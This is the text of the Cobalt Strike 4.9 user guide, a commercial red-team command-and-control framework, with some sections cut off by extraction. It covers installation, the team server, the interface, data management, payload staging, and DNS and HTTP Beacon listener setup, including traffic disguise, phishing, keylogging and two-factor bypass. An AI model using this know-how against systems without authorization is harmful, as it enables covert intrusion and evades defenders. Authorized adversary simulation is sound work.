Cobalt Cobalt-Strike Userguide
Cobalt Cobalt-Strike Userguide
User Guide
Copyright Terms and Conditions
Copyright © Fortra, LLC and its group of companies. All trademarks and registered trademarks are the property of their respective
owners.
The content in this document is protected by the Copyright Laws of the United States of America and other countries worldwide. The
unauthorized use and/or duplication of this material without express and written permission from Fortra is strictly prohibited. Excerpts
and links may be used, provided that full and clear credit is given to Fortra with appropriate and specific direction to the original content.
202312070953 - 4.9
Table of Contents
Overview 10
User Interface 28
Overview 28
Toolbar 28
Tabs 32
Consoles 32
Tables 33
Keyboard Shortcuts 34
Data Management 36
Overview 36
Targets 36
Services 37
Credentials 37
Maintenance 38
Overview 39
Listener Management 39
Payload Staging 43
DNS Beacon 44
SMB Beacon 56
TCP Beacon 59
External C2 62
Foreign Listeners 64
Infrastructure Consolidation 65
Initial Access 67
Application Browser 67
Hosting Files 79
Client-side Exploits 83
Clone a Site 84
Spear Phishing 85
Post Exploitation 93
Running Commands 95
Session Passing 96
File Browser 98
Mimikatz 107
Overview 115
Setup 116
Use 117
Pivoting 119
Peer-to-peer C2 127
Overview 129
Overview 151
Listeners 196
Beacon 199
Callbacks 213
Hooks 220
Events 239
Functions 255
Logging 459
Reports 459
Appendix 467
Overview
A thought-out targeted attack begins with reconnaissance. Cobalt Strike’s system profiler is a
web application that maps your target’s client-side attack surface. The insights gleaned from
reconnaissance will help you understand which options have the best chance of success on
your target.
Use Cobalt Strike’s spear phishing tool to deliver your weaponized document to one or more
people in your target’s network. Cobalt Strike’s phishing tool repurposes saved emails into pixel-
perfect phishes.
Control your target’s network with Cobalt Strike’s Beacon. This post-exploitation payload uses
an asynchronous “low and slow” communication pattern that’s common with advanced threat
malware. Beacon will phone home over DNS, HTTP, or HTTPS. Beacon walks through common
proxy configurations and calls home to multiple hosts to resist blocking.
Exercise your target’s attack attribution and analysis capability with Beacon’s Malleable
Command and Control language. Reprogram Beacon to use network indicators that look like
known malware or blend in with existing traffic.
Pivot into the compromised network, discover hosts, and move laterally with Beacon’s helpful
automation and peer-to-peer communication over named pipes and TCP sockets. Cobalt Strike
is optimized to capture trust relationships and enable lateral movement with captured
credentials, password hashes, access tokens, and Kerberos tickets.
Demonstrate meaningful business risk with Cobalt Strike’s user-exploitation tools. Cobalt
Strike’s workflows make it easy to deploy keystroke loggers and screenshot capture tools on
compromised systems. Use browser pivoting to gain access to websites that your
compromised target is logged onto with Internet Explorer. This Cobalt Strike-only technique
works with most sites and bypasses two-factor authentication.
Cobalt Strike’s reporting features reconstruct the engagement for your client. Provide the
network administrators an activity timeline so they may find attack indicators in their sensors.
Cobalt Strike generates high quality reports that you may present to your clients as stand-alone
products or use as appendices to your written narrative.
Throughout each of the above steps, you will need to understand the target environment, its
defenses, and reason about the best way to meet your objectives with what is available to you.
This is evasion. It is not Cobalt Strike’s goal to provide evasion out-of-the-box. Instead, the
product provides flexibility, both in its potential configurations and options to execute offense
actions, to allow you to adapt the product to your circumstance and objectives.
Cobalt Strike uses a client / server model where each component can be installed on the same
system, but is often deployed separately. The Cobalt Strike GUI is referred to as ‘Cobalt Strike’,
the ‘Cobalt Strike GUI’ , or the command used to start the client ‘cobaltstrike’. The Cobalt Strike
server is referred to as ‘Team Server’ or the command used to start the server ‘teamserver’.
The basic process to install Cobalt Strike involves downloading and extracting a distribution
package onto your operating system and running an update process to download the product.
System Requirements
The following items are required for any system hosting the Cobalt Strike client and/or server
components.
Java
Cobalt Strike's GUI client and team server require one of the following Java environments:
NOTE:
If your organization does not have a license that allows commercial use of Oracle's Java,
we encourage you to use OpenJDK 11.
Cobalt Strike Team Server is supported on a Linux system that meets the Java requirements
and has been tested on the following Debian based Linux distributions (other versions may work
but have not been tested):
l Debian
l Ubuntu
l Kali Linux
Hardware
In addition to an accepted operating system, the below minimum requirements should be met:
l 2 GHz+ processor
l 2 GB RAM
l 500MB+ available disk space
On Amazon's EC2, use at least a High-CPU Medium (c1.medium, 1.7 GB) instance.
Linux glibc
Be aware that certain Linux distributions may be missing or don't have the correct version of
glibc. If you run into that issue, review the Knowledge Article, glibc Missing From Older Linux
Distributions, on the Fortra Portal.
Installing OpenJDK
Cobalt Strike is tested with OpenJDK 11 and its launchers are compatible with a properly
installed OpenJDK 11 environment.
1. Update APT:
sudo apt-get update
2. Install OpenJDK 11 with APT:
sudo apt-get install openjdk-11-jdk
3. Make OpenJDK 11 the default:
sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
Linux (Other)
PATH=$PATH:$JAVA_HOME/bin
6. Refresh your ~/.bashrc to make the new environment variables take effect:
source ~/.bashrc
MacOS X
The java command on MacOS X will use the highest Java version in /Library/Java as the
default.
TIP:
If you are seeing a JRELoadError message this is because the JavaAppLauncher stub
included with Cobalt Strike loads a library from a set path to run the JVM within the stub
process. Issue the following command to fix this error:
sudo ln -fs /Library/Java/JavaVirtualMachines/jdk-11.0.2.jdk
/Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin
Replace jdk-11.0.2.jdk with your Java path. The next Cobalt Strike release will use a Java
Application Stub for MacOS X that is more flexible.
Windows
Wayland is a modern replacement for the X Windows System. Wayland has made great strides,
as a project, and some desktop environments use it as their default window system. Don't let
the adoption fool you though. Not all applications or application environments work 100%
perfectly on Wayland. There are still bugs and issues to address.
There are bugs in Java (or Wayland) that may cause a graphical Java application to crash,
during normal use, when run in a Wayland desktop. These bugs affect Cobalt Strike users.
Fortra does not support the use of Cobalt Strike on Wayland desktops.
Am I using Wayland?
The latest version of Kali Linux 2017 Rolling uses a Wayland desktop by default. To change this
back to X11:
NOTE:
The Cobalt Strike Distribution Package (steps 1 and 3) contains the OS-specific Cobalt
Strike launcher(s), supporting files, and the updater program. It does not contain the Cobalt
Strike program itself. Running the Update Program (step 4) downloads the Cobalt Strike
product and performs the final installation steps.
1. Download a Cobalt Strike distribution package for a supported operating system. (an
email is provided with a link to the download)
2. Setup a recommended Java environment. (see Installing OpenJDK on page 13 for
instructions)
3. Extract, mount or unzip the distribution package. Based on the operating system
perform one of the following.
a. For Linux:
i. Extract the cobaltstrike-dist.tgz:
tar zxvf cobaltstrike-dist.tgz
b. For MacOS X:
i. Double-click the cobaltstrike-dist.dmg file to mount it.
ii. Drag the Cobalt Strike folder to the Applications folder.
c. For Windows:
i. Disable anti-virus before you install Cobalt Strike.
ii. Use your preferred zip tool to extract the cobaltstike.zip file to an install
location.
4. Run the update program to finish the install. Based on the operating system perform
one of the following.
a. For Linux:
i. Enter the following commands:
cd /path/to/cobaltstrike
./update
b. For MacOS X:
i. Navigate to the Cobalt Strike folder.
ii. Double-click Update Cobalt Strike.command.
c. For Windows:
i. Navigate to the Cobalt Strike folder.
ii. Double-click update.bat.
Make sure you update both your team server and client software with your license key. Cobalt
Strike is generally licensed on a per user basis. The team server does not require a separate
license.
Authorization files are now associated to a specific release. Authorization files for 4.8 and earlier
will continue to be backward compatible. Authorization files for 4.9 and later will only be valid for
the specific version.
In order to get an authorization file for a previous version use the Cobalt Strike Auth File
Generator site. This site will generate an authorization file for the version and license key you
enter on the page. Use the download link to retrieve the authorization file or use the instructions
on the page to convert the base64 encoded string to an authorization file. Then copy the
authorization file to your Cobalt Strike installation directory.
Details:
released version with the latest information. For previous versions use the Cobalt Strike Auth
File Generator site to refresh the authorization file with the latest information.
Go to Help -> System Information to find out when your authorization file expires. Look for the
"valid to" value under the Other section. Remember, the Client Information and Team Server
Information may have different values (depending on which license key was used and when the
authorization file was last refreshed).
Cobalt Strike will also warn you when its authorization file is within 45 days of its valid to date.
The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike
3.9 and later embed this information into the payload stagers and stages generated by Cobalt
Strike.
The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9
and later.
This screenshot is the HTTP stager from the trial. The trial has a Customer ID value of 0. The
last 4-bytes of this stager (0x0, 0x0, 0x0, 0x0) reflect this.
The Customer ID value also exists in the payload stage, but it's more steps to recover. Cobalt
Strike does not use the Customer ID value in its network traffic or other parts of the tool.
Cobalt Strike's update server generates a new authorization file each time the update program
is run. Each authorization file has a unique ID. Cobalt Strike only propagates the team server's
ID. It does not propagate the ID from the GUI or headless client's authorization file.
Next Steps
Starting the Team Server on page 20
The Cobalt Strike team server must run on a supported Linux system. To start a Cobalt Strike
team server, issue the following command to run the team server script included with the
Cobalt Strike Linux package:
The team server script uses the following two mandatory and two optional parameters:
IP Address - (mandatory) Enter the externally reachable IP address of the team server. Cobalt
Strike uses this value as a default host for its features.
Password - (mandatory) Enter a password that your team members will use to connect the
Cobalt Strike client to the team server.
Malleable C2 Profile - (optional) Specify a valid Malleable C2 Profile. See Malleable Command
and Control on page 129 for more information on this feature.
Kill Date - (optional) Enter a date value in YYYY-MM-DD format. The team server will embed this
kill date into each Beacon stage it generates. The Beacon payload will refuse to run on or
after this date and will also exit if it wakes up on or after this date.
When the team server starts, it will publish the SHA256 hash of the team server’s SSL
certificate. Distribute this hash to your team members. When your team members connect,
their Cobalt Strike client will ask if they recognize this hash before it authenticates to the team
server. This is an important protection against man-in-the-middle attacks.
For additional information on a setting see the README.md in the repository and comments in
the TeamServer.prop file.
Steps
1. To start the Cobalt Strike client, use the launcher included with your platform’s package.
a. For Linux:
i. Enter the following commands:
./cobaltstrike
b. For MacOS X:
i. Navigate to the Cobalt Strike folder.
ii. Double-click cobaltstrike.
c. For Windows:
i. Navigate to the Cobalt Strike folder.
ii. Double-click cobaltstrike.exe.
The Connect Dialog screen displays.
Parameters:
Alias - Enter an alias for the host or use the default. The alias name can not be empty,
start with an '*', or use the same alias name of an active connection.
Host - Specify your team server’s address in the Host field. The host name can not be
empty.
Port - Displays the default Port for the team server (50050). This is rarely change. The
port can not be empty and must be a numeric number.
User - The User field is your nickname on the team server. Change this to your call sign,
handle, or made-up hacker fantasy name. The user name can not be empty.
Password - Enter the shared password for the team server.
3. Press Connect to connect to the Cobalt Strike team server.
If this is your first connection to this team server, Cobalt Strike will ask if you recognize
the SHA256 hash of this team server.
NOTE:
Cobalt Strike will also remember this SHA256 hash for future connections. You may
manage these hashes through Cobalt Strike -> Preferences -> Fingerprints.
The Cobalt Strike client may connect to multiple team servers. Go to Cobalt Strike -> New
Connection to initiate a new connection. When connected to multiple servers, a switchbar will
show up at the bottom of your Cobalt Strike window.
This switchbar allows you to switch between active Cobalt Strike server instances. Each server
has its own button. Right-click a button and select Rename to make the button’s text reflect the
role of the server during your engagement. The server button will display the active button in
bold text and color based on color preference found in Cobalt Strike -> Preferences ->
TeamServers to better indicate which button is active. This button name will also identify the
server in the Cobalt Strike Activity Report.
When connected to multiple servers, Cobalt Strike aggregates listeners from all of the servers
it’s connected to. This aggregation allows you to send a phishing email from one server that
references a malicious website hosted on another server. At the end of your engagement,
Cobalt Strike’s reporting feature will query all of the servers you’re connected to and merge the
data to tell one story.
Press Close to close the window. Press Reconnect to reconnect to the TeamServer.
If the TeamServer is not available a dialog displays asking if you want to retry (Yes/No). If Yes
then connection is attempted again (repeats if needed). If No, the dialog closes.
When disconnection is initiated by the TeamServer or other network interruption the red banner
will display a message with a countdown for connection retry. This will repeat until a connection
is made with the TeamServer or the user clicks on Close. In this case the user can interact with
other parts of the UI.
Cobalt Strike is scriptable through its Aggressor Script language. Aggressor Script allows you to
modify and extend the Cobalt Strike client.
History
Aggressor Script is the spiritual successor to Cortana, the open source scripting engine in
Armitage. Cortana was made possible by a contract through DARPA's Cyber Fast Track
program. Cortana allows its users to extend Armitage and control the Metasploit® Framework
and its features through Armitage's team server. Cobalt Strike 3.0 is a ground-up rewrite of
Cobalt Strike without Armitage as a foundation. This change afforded an opportunity to revisit
Cobalt Strike's scripting and build something around Cobalt Strike's features. The result of this
work is Aggressor Script.
Aggressor Script is a scripting language for red team operations and adversary simulations
inspired by scriptable IRC clients and bots. Its purpose is two-fold. You may create long running
bots that simulate virtual red team members, hacking side-by-side with you. You may also use it
to extend and modify the Cobalt Strike client to your needs.
Loading Scripts
Aggressor Script is built into the Cobalt Strike client. To manage scripts, go to Cobalt Strike ->
Script Manager and press Load.
A default script inside of Cobalt Strike defines all of Cobalt Strike’s popup menus and formats
information displayed in Cobalt Strike’s consoles. Through the Aggressor Script engine, you
may override these defaults and customize Cobalt Strike to your preferences.
You may also use Aggressor Script to add new features to Cobalt Strike’s Beacon and to
automate certain tasks.
To learn more about Aggressor Script, see Aggressor Script on page 186.
By default, OSX limits what access applications have to the Documents, Desktop, and Download
folders. These applications need to explicitly be granted access to these folders.
Since Cobalt Strike is a third party application, it isn't as straight forward as granting the app
"Cobalt Strike" access. You may need to give the JRE running Cobalt Strike client access to the
file system. You can give access to the specific Files and Folders or Full Disk Access.
Or, if the access has been previously denied, you may need to edit the access in the OSX System
Preferences / Security & Privacy / Privacy dialog:
Please be advised that other applications that use the JRE will also have this access.
NOTE:
The same steps may also need to be taken for '/bin/bash'.
User Interface
Overview
The Cobalt Strike user interface is split into two parts. The top of the interface shows a
visualization of sessions or targets. The bottom of the interface displays tabs for each Cobalt
Strike feature or session you interact with. You may click the area between these two parts and
resize them to your liking.
Toolbar
The toolbar at the top of Cobalt Strike offers quick access to common Cobalt Strike functions.
Knowing the toolbar buttons will speed up your use of Cobalt Strike considerably.
View Credentials
View Keystrokes
View Screenshots
Pivot Graph
Cobalt Strike has the ability to link multiple Beacons into a chain. These linked Beacons receive
their commands and send their output through the parent Beacon in their chain. This type of
chaining is useful to control which sessions egress a network and to emulate a disciplined actor
who restricts their communication paths inside of a network to something plausible. This
chaining of Beacons is one of the most powerful features in Cobalt Strike.
Cobalt Strike’s workflows make this chaining very easy. It’s not uncommon for Cobalt Strike
operators to chain Beacons four or five levels deep on a regular basis. Without a visual aid it’s
very difficult to keep track of and understand these chains. This is where the Pivot Graph comes
in.
The Pivot Graph shows your Beacon chains in a natural way. Each Beacon session has an icon.
As with the sessions table: the icon for each host indicates its operating system. If the icon is
red with lightning bolts, the Beacon is running in a process with administrator privileges. A
darker icon indicates that the Beacon session was asked to exit and it acknowledged this
command.
The firewall icon represents the egress point of your Beacon payload. A dashed green line
indicates the use of beaconing HTTP or HTTPS connections to leave the network. A yellow
dashed line indicates the use of DNS to leave the network.
An arrow connecting one Beacon session to another represents a link between two Beacons.
Cobalt Strike’s Beacon uses Windows named pipes and TCP sockets to control Beacons in this
peer-to-peer fashion. An orange arrow is a named pipe channel. SSH sessions use an orange
arrow as well. A blue arrow is a TCP socket channel. A red (named pipe) or purple (TCP) arrow
indicates that a Beacon link is broken.
Click a Beacon to select it. You may select multiple Beacons by clicking and dragging a box over
the desired hosts. Press Ctrl and Shift and click to select or unselect an individual Beacon.
l Ctrl+Plus — zoom in
l Ctrl+Minus — zoom out
l Ctrl+0 — reset the zoom level
l Ctrl+A — select all hosts
l Escape — clear selection
l Ctrl+C — arrange hosts into a circle
l Ctrl+S — arrange hosts into a stack
l Ctrl+H — arrange hosts into a hierarchy.
Right-click the Pivot Graph with no selected Beacons to configure the layout of this graph. This
menu also has an Unlinked menu. Select Hide to hide unlinked sessions in the pivot graph.
Select Show to show unlinked sessions again.
Sessions Table
The sessions table shows which Beacons are calling home to this Cobalt Strike instance.
Beacon is Cobalt Strike’s payload to emulate advanced threat actors. Here, you will see the
external IP address of each Beacon, the internal IP address, the egress listener for that Beacon,
when the Beacon last called home, and other information. Next to each row is an icon indicating
the operating system of the compromised target. If the icon is red with lightning bolts, the
Beacon is running in a process with administrator privileges. A faded icon indicates that the
Beacon session was asked to exit and it acknowledged this command.
If you use a DNS Beacon listener, be aware that Cobalt Strike will not know anything about a
host until it checks in for the first time. If you see an entry with a last call time and that’s it, you
will need to give that Beacon its first task to see more information.
Targets Table
The Targets Table shows the targets in Cobalt Strike’s data model. The targets table displays
the IP address of each target, its NetBIOS name, and a note that you or one of your team
members assigned to the target. The icon to the left of a target indicates its operating system. A
red icon with lightning bolts indicates that the target has a Cobalt Strike Beacon session
associated with it.
Click any of the table headers to sort the hosts. Highlight a row and right-click it to bring up a
menu with options for that host. Press Ctrl and Alt and click to select and deselect individual
hosts.
The target’s table is a useful for lateral movement and to understand your target’s network.
Tabs
Cobalt Strike opens each dialog, console, and table in a tab. Click the X button to close a tab.
Use Ctrl+D to close the active tab. Ctrl+Shift+D will close all tabs except the active on.
You may right-click the X button to open a tab in a window, take a screenshot of a tab, or close
all tabs with the same name.
Keyboard shortcuts exist for these functions too. Use Ctrl+W to open the active tab in its own
window. Use Ctrl+T to quickly save a screenshot of the active tab.
Ctrl+B will send the current tab to the bottom of the Cobalt Strike window. This is useful for tabs
that you need to constantly watch. Ctrl+E will undo this action and remove the tab at the
bottom of the Cobalt Strike window.
Hold shift and click X to close all tabs with the same name. Hold shift + control and click X to
open the tab in its own window.
Use Ctrl+Left and Ctrl+Right to quickly switch tabs. You may drag and drop tabs to change
their order.
TIP:
The full list of Default Keyboard Shortcuts are available from the menu (Help -> Default
Keyboard Shortcuts).
Consoles
Cobalt Strike provides a console to interact with Beacon sessions, scripts, and chat with your
teammates.
The consoles track your command history. Use the up arrow to cycle through previously typed
commands. The down arrow moves back to the last command you typed. The history
command lists previously typed commands. The ! command allows previously typed
commands to be ran again.
NOTE:
The list of previously typed commands is not maintained between sessions. Closing a
console window and then reopening it will start with no previously typed commands.
Use Ctrl+Plus to make the console font size larger, Ctrl+Minus to make it smaller, and Ctrl+0
to reset it. This change is local to the current console only. Visit Cobalt Strike -> Preferences to
permanently change the font.
Press Ctrl+F to show a panel that will let you search for text within the console. Use Ctrl+A to
select all text in the console’s buffer.
TIP:
The full list of Default Keyboard Shortcuts are available from the menu (Help -> Default
Keyboard Shortcuts).
Tables
Cobalt Strike uses tables to display sessions, credentials, targets, and other engagement
information.
Most tables in Cobalt Strike have an option to assign a color highlight to the highlighted rows.
These highlights are visible to other Cobalt Strike clients. Right-click and look for the Color
menu.
Press Ctrl+F within a table to show the table search panel. This feature lets you filter the current
table.
The text field is where you type your filter criteria. The format of the criteria depends on the
column you choose to apply the filter to. Use CIDR notation (e.g., 192.168.1.0/24) and host
ranges (192.168.1-192.169.200) to filter columns that contain addresses. Use numbers or
ranges of numbers for columns that contain numbers. Use wildcard characters (*, ?) to filter
columns that contain strings.
The ! button negates the current criteria. Press enter to apply the specified criteria to the current
table. You may stack as many criteria together as you like. The Reset button will remove the
filters applied to the current table.
Keyboard Shortcuts
There are many default keyboard shortcuts available to you when working in the user interface.
Some can be used anywhere while others are specific to different areas of the UI. From the
menu, selecting Help -> Default Keyboard Shortcuts opens the following reference dialog:
The Aggressor function, openDefaultShortcutsDialog, can also be used to open the same list.
Data Management
Overview
Cobalt Strike’s team server is a broker for information collected by Cobalt Strike during your
engagement. Cobalt Strike parses output from its Beacon payload to extract targets, services,
and credentials.
If you’d like to export Cobalt Strike’s data, you may do so through Reporting -> Export Data.
Cobalt Strike provides options to export its data as TSV and XML files. The Cobalt Strike client’s
export data feature merges data from all of the team servers you’re currently connected to and
export TSV and XML files with data in Cobalt Strike's data model..
Targets
You may interact with Cobalt Strike’s target information through View -> Targets. This tab
displays the same information as the Targets Visualization.
Press Import to import a file with target information. Cobalt Strike accepts flat text files with one
host per line. It also accepts XML files generated by Nmap (the –oX option).
This dialog allows you to add multiple hosts to Cobalt Strike’s database. Specify a range of IP
addresses or use CIDR notation in the Address field to add multiple hosts at one time. Hold
down shift when you click Save to add hosts to the data model and keep this dialog open.
Select one or more hosts and right-click to bring up the hosts menu. This menu is where you
change the note on the hosts, set their operating system information, or remove the hosts from
the data model.
Services
From a targets display, right-click a host, and select Services. This will open Cobalt Strike’s
services browser. Here you may browse services, assign notes to different services, and remove
service entries as well.
Credentials
Go to View -> Credentials to interact with Cobalt Strike’s credential model.
Press Add to add an entry to the credential model. Again, you may hold shift and press Save to
keep the dialog open and make it easier to add new credentials to the model.
Maintenance
Cobalt Strike’s data model keeps all of its state and state metadata in the data/ folder. This
folder exists in the folder you ran the Cobalt Strike team server from.
To clear Cobalt Strike’s data model: stop the team server, delete the data/ folder, and its
contents. Cobalt Strike will recreate the data/ folder when you start the team server next.
If you’d like to archive the data model, stop the team server, and use your favorite program to
store the data/ folder and its files elsewhere. To restore the data model, stop the team server,
and restore the old content to the data/ folder.
Reporting -> Reset Data resets Cobalt Strike’s Data Model without a team server restart.
./clearteamserverdata
A warning will display and you will have to enter CLEAR for the command to continue.
The errors shown are to be expected when the folders to be deleted do not exist. In this case
there are no downloads, screenshots or uploads folders so they could not be deleted. Any files
of folders which could not be deleted will be listed.
A listener is simultaneously configuration information for a payload and a directive for Cobalt
Strike to stand up a server to receive connections from that payload. A listener consists of a
user- defined name, the type of payload, and several payload-specific options.
Listener Management
To manage Cobalt Strike listeners, go to Cobalt Strike -> Listeners. This will open a tab listing
all of your configured payloads and listeners.
Press Add to create a new listener. The New Listener panel displays.
Use the Payload drop-down to select one of the available payload/listener types you wish to
configure. Each has different parameters and are described in the following sections:
External C2 on page 62
To edit a listener, highlight a listener and press Edit. To remove a listener, highlight the listener
and press Remove.
Beacon’s network indicators are malleable. Redefine Beacon’s communication with Cobalt
Strike’s malleable C2 language. This allows you to cloak Beacon activity to look like other
malware or blend-in as legitimate traffic. See Malleable Command and Control on page 129
for more information.
System Calls
The Beacon payload has implemented the ability to use system calls instead of the standard
Windows API functions. Currently Beacon supports a limited set of functions for this capability.
l CloseHandle
l CreateFileMapping
l CreateRemoteThread
l CreateThread
l DuplicateHandle
l GetThreadContext
l MapViewOfFile
l OpenProcess
l OpenThread
l ReadProcessMemory
l ResumeThread
l SetThreadContext
l UnmapViewOfFile
l VirtualAlloc
l VirtualAllocEx
l VirtualFree
l VirtualProtect
l VirtualProtectEx
l VirtualQuery
l WriteProcessMemory
When you generate a stageless beacon payload from the Cobalt Strike UI or a supported
aggressor function, you can choose which system call method will be used at execution time.
There are some commands and workflows that inject or spawn a new beacon that do not allow
you to set the initial system call method. In these cases, setting the ‘stage.syscall_method’
setting in the profile will allow you to control the initial method used at execution time.
l elevate
l inject
l jump
l spawn
l spawnas
l spawnu
l team server responding to a stageless payload request
l team server responding to an external c2 payload request
Use the syscall-method [method] command to modify which method will be used for
subsequent commands. In addition, syscall-method without any arguments will query the
current method.
When you setup the Beacon payload for the first time, Cobalt Strike will generate a
public/private key pair that is unique to your team server. The team server’s public key is
embedded into Beacon’s payload stage. Beacon uses the team server’s public key to encrypt
session metadata that it sends to the team server.
Beacon must always send session metadata before the team server can issue tasks and
receive output from the Beacon session. This metadata contains a random session key
generated by that Beacon. The team server uses each Beacon’s session key to encrypt tasks
and to decrypt output.
Each Beacon implementation and data channel uses this same scheme. You have the same
security with the A record data channel in the Hybrid HTTP and DNS Beacon as you do with the
HTTPS Beacon.
Be aware that the above applies to Beacon once it is staged. The payload stagers, due to their
size, do not have built-in security features.
Payload Staging
One topic that deserves mention, as background information, is payloading staging. Many
attack frameworks decouple the attack from the stuff that the attack executes. This stuff that
an attack executes is known as a payload. Payloads are often divided into two parts: the payload
stage and the payload stager. A stager is a small program, usually hand-optimized assembly,
that downloads a payload stage, injects it into memory, and passes execution to it. This process
is known as staging.
The staging process is necessary in some offense actions. Many attacks have hard limits on
how much data they can load into memory and execute after successful exploitation. This
greatly limits your post-exploitation options, unless you deliver your post-exploitation payload in
stages.
Cobalt Strike does use staging in its user-driven attacks. These are most of the items under
Payloads and Attacks. The stagers used in these places depend on the payload paired with the
attack. For example, the HTTP Beacon has an HTTP stager. The DNS Beacon has a DNS TXT
record stager. Not all payloads have stager options. Payloads with no stager cannot be
delivered with these attack options.
If you don’t need payload staging, you can turn it off. Set the host_stage option in your
Malleable C2 profile to false. This will prevent Cobalt Strike from hosting payload stages on its
web and DNS servers. There is a big OPSEC benefit to doing this. With staging on, anyone can
connect to your server, request a payload, and analyze its contents to find information from
your payload configuration.
In Cobalt Strike 4.0 and later, post-exploitation and lateral movement actions eschew stagers
and opt to deliver a full payload where possible. If you disable payload staging, you shouldn’t
notice it once you’re ready to do post-exploitation.
DNS Beacon
The DNS Beacon is a favorite Cobalt Strike feature. This payload uses DNS requests to beacon
back to you. These DNS requests are lookups against domains that your Cobalt Strike team
server is authoritative for. The DNS response tells Beacon to go to sleep or to connect to you to
download tasks. The DNS response will also tell the Beacon how to download tasks from your
team server.
In Cobalt Strike 4.0 and later, the DNS Beacon is a DNS-only payload. There is no HTTP
communication mode in this payload. This is a change from prior versions of the product.
Data Channels
Today, the DNS Beacon can download tasks over DNS TXT records, DNS AAAA records, or DNS
A records. This payload has the flexibility to change between these data channels while its on
target. Use Beacon’s mode command to change the current Beacon’s data channel. mode dns
is the DNS A record data channel. mode dns6 is the DNS AAAA record channel. And, mode dns-
txt is the DNS TXT record data channel. The default is the DNS TXT record data channel.
Be aware that DNS Beacon does not check in until there’s a task available. Use the checkin
command to request that the DNS Beacon check in next time it calls home.
Select Beacon DNS as the Payload type and give the listener a Name. Make sure to give the
new listener a memorable name as this name is how you will refer to this listener through
Cobalt Strike’s commands and workflows.
Parameters
DNS Hosts - Press [+] to add one or more domains to beacon to. Your Cobalt Strike
team server system must be authoritative for the domains you specify. Create a
DNS A record and point it to your Cobalt Strike team server. Use DNS NS records
to delegate several domains or sub-domains to your Cobalt Strike team server’s A
record.
The length of the beacon host list in beacon payload is limited to 255 characters.
This includes a randomly assigned URI for each host and delimiters between
each item in the list. If the length is exceeded, hosts will be dropped from the end
of the list until it fits in the space. There will be messages in the team server log
for dropped hosts.
Host Rotation Strategy - This value configures the beacons behavior for choosing
which host(s) from the list to use for egress. Select one of the following:
round-robin: Select to loop through the list of host names in the order they are
provided. Each host is used for one connection.
random: Select to randomly select a host name from the list each time a
connection is attempted.
failover-xx: Select to use a working host as long as possible. Use each host in the
list until they reach a consecutive failover count (x) or duration time period
(m,h,d), then use the next host.
rotate-xx: Select to use each host for a period of time. Use each host in the list for
the specified duration (m,h,d), then use the next host.
Max Retry Stategy - This configures the beacons behavior for exiting after a number of
consecutive failed connection attempts to the Team Server. There are several
default options to choose from or you can create your own list with the
LISTENER_MAX_RETRY_STRATEGIES hook. See LISTENER_MAX_RETRY_
STRATEGIES on page 227.
none: Select to ensure beacon will not exit because of failed connection attempts.
The sleep time will not be updated if the current sleep time is greater than the
newly specified duration value. The sleep time will be affected by the current
jitter value. On any successful connection the failed attempts count will be
reset to zero and the sleep time will be reset to the prior value.
DNS Host (Stager) - This configures the DNS Beacon’s TXT record stager. This stager
is only used with Cobalt Strike features that require an explicit stager. Your Cobalt
Strike team server system must be authoritative for this domain as well.
DNS Port (Bind) - This field specifies the port your DNS Beacon payload server will
bind to. This option is useful if you want to set up port bending redirector such as
a redirector that accepts connections on port 53 but routes the connection to
your team server on another port.
DNS Resolver - Allows a DNS Beacon to egress using a specific DNS resolver, rather
than using the default DNS resolver for the target server. Specify the IP Address
of the desired resolver. This DNS Resolver is not used by the stager of the DNS
Beacon.
Guardrails - Beacon Guardrails allows the user to create a way to restrict the targets
that the beacon can execute on. Once configured, these values will be the default
guardrail for the Stageless or Windows Stageless Payload Generators.
l 123.123.123.123
l 123.123.123.*
l 123.123.*.*
l 123.*.*.*
Testing
To test your DNS configuration, open a terminal and type nslookup jibberish.beacon domain.
If you get an A record reply of 0.0.0.0—then your DNS is correctly setup. If you do not get a reply,
then your DNS configuration is not correct and the DNS Beacon will not communicate with you.
Notes
l Make sure your DNS records reference the primary address on your network interface.
Cobalt Strike’s DNS server will always send responses from your network interface’s
primary address. DNS resolvers tend to drop replies when they request information from
one server, but receive a reply from another.
l If you are behind a NAT device, make sure that you use your public IP address for the NS
record and set your firewall to forward UDP traffic on port 53 to your system. Cobalt
Strike includes a DNS server to control Beacon.
l To customize the network traffic indicators for your DNS beacons, see DNS Beacons on
page 148 in the Malleable C2 help.
Select Beacon HTTP or Beacon HTTPS as the Payload type and give the listener a Name.
Make sure to give the new listener a memorable name as this name is how you will refer to this
listener through Cobalt Strike’s commands and workflows.
Parameters
HTTP(S) Hosts - Press [+] to add one or more hosts for the HTTP Beacon to call home
to. Press [-] to remove one or more hosts. Press [X] to clear the current hosts. If
you have multiple hosts, you can still paste a comma-separated list of callback
hosts into this dialog.
The length of the beacon host list in beacon payload is limited to 255 characters.
This includes a randomly assigned URI for each host and delimiters between
each item in the list. If the length is exceeded, hosts will be dropped from the end
of the list until it fits in the space. There will be messages in the team server log
for dropped hosts.
Host Rotation Strategy - This value configures the beacons behavior for choosing
which host(s) from the list to use for egress. Select one of the following:
round-robin: Select to loop through the list of host names in the order they are
provided. Each host is used for one connection.
random: Select to randomly select a host name from the list each time a
connection is attempted.
failover-xx: Select to use a working host as long as possible. Use each host in the
list until they reach a consecutive failover count (x) or duration time period
(m,h,d), then use the next host.
rotate-xx: Select to use each host for a period of time. Use each host in the list for
the specified duration (m,h,d), then use the next host.
Max Retry Stategy - This configures the beacons behavior for exiting after a number of
consecutive failed connection attempts to the Team Server. There are several
default options to choose from or you can create your own list with the
LISTENER_MAX_RETRY_STRATEGIES hook. See LISTENER_MAX_RETRY_
STRATEGIES on page 227.
none: Select to ensure beacon will not exit because of failed connection attempts.
The sleep time will not be updated if the current sleep time is greater than the
newly specified duration value. The sleep time will be affected by the current
jitter value. On any successful connection the failed attempts count will be
reset to zero and the sleep time will be reset to the prior value.
HTTP Host (Stager) - This controls the host of the HTTP Stager for the HTTP Beacon.
This value is only used if you pair this payload with an attack that requires an
explicit stager.
Profile - This is where you select a Malleable C2 profile variant. A variant is a way of
specifying multiple profile variations in one file. With variants, each HTTP or
HTTPS listener you setup can have different network indicators.
HTTP Port (C2) - This field sets the port your HTTP Beacon will phone home to.
HTTP Port (Bind) - This field specifies the port your HTTP Beacon payload web server
will bind to. These options are useful if you want to setup port bending redirectors
(e.g., a redirector that accepts connections on port 80 or 443 but routes the
connection to your team server on another port).
